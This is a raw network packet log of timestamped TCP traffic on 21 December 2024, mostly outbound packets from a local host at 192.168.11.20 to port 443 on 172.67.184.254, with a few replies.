Dec 21, 2024 19:24:50.428019047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428039074 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.428073883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428073883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428119898 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428119898 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428217888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428217888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428219080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428316116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428316116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428316116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428364038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428364038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428415060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428415060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428463936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428560019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428560019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428608894 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428657055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428661108 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.428709030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428759098 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428759098 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428759098 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428759098 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428805113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428805113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428906918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.428906918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429011106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429011106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429059029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429059029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429078102 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.429117918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429117918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429164886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429244995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429244995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429342031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429342031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429440975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429440975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429440975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429490089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429490089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429541111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429541111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429585934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429620981 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.429689884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429689884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429785967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429785967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429831982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429883003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429883003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429883957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429883957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429929018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429986000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.429986000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430089951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430089951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430109978 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.430155039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430155039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430208921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430208921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430249929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430250883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430345058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430345058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430443048 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430443048 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430491924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430541039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430541992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430592060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430592060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430639029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430660009 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.430696964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430696964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430741072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430792093 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430792093 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430840969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430890083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430938959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430938959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.430986881 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431035042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431085110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431085110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431183100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431183100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431200027 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.431245089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431246042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431246042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431292057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431344032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431440115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431440115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431440115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431487083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431585073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431634903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431634903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431685925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431685925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431734085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431734085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431757927 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.431807995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431858063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431858063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431858063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431957960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.431957960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432003975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432003975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432053089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432102919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432102919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432102919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432200909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432200909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432200909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432298899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432298899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432398081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432398081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432398081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432446957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432446957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432446957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432573080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432573080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432621002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432637930 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.432718992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432771921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432771921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432771921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432771921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432866096 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432866096 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432914972 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.432915926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433016062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433016062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433016062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433062077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433160067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433160067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433161020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433208942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433208942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433258057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433258057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433306932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433306932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433356047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433454037 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433454037 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433502913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433604956 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433604956 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433604956 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433650017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433702946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433703899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433703899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433751106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.433846951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.642323971 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.642488003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.763890028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.763942957 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.763962030 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.764096975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764096975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764132977 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.764147043 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.764162064 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.764174938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764174938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764193058 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.764208078 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.764223099 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764236927 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.764286041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764286995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764309883 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.764337063 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.764352083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764352083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764374018 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.764400005 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.764421940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764421940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764421940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764468908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764468908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764502048 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.764518976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764519930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764547110 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.764616013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764616013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764715910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764715910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764745951 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.764775991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764775991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764775991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764825106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764825106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764863014 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.764873028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764971972 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764971972 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.764971972 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765007019 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.765083075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765083075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765130997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765130997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765180111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765201092 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.765235901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765235901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765235901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765260935 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.765332937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765332937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765430927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765430927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765480995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765480995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765531063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765531063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765577078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765578032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765604019 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.765688896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765688896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765767097 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.765788078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765788078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765835047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765836000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765883923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765883923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765933037 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.765933037 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766031981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766031981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766129971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766130924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766165972 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.766269922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766269922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766269922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766269922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766269922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766339064 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.766355038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766355991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766355991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766444921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766493082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766493082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766541004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766592979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766592979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766592979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766649008 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.766691923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766691923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766740084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766740084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766787052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766839027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766839027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766839027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766885996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766913891 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.766937017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766937017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.766937017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767034054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767081976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767132044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767132998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767132998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767160892 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.767199993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767199993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767250061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767250061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767299891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767299891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767395973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767395973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767494917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767496109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767496109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767523050 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.767554998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767554998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767605066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767605066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767657995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767683029 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.767724037 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767724037 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767844915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767925978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767925978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.767973900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768023968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768071890 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768121958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768146992 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.768222094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768222094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768222094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768254995 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.768299103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768299103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768299103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768299103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768346071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768347025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.768445015 CET	49766	443	192.168.11.20	172.67.184.254
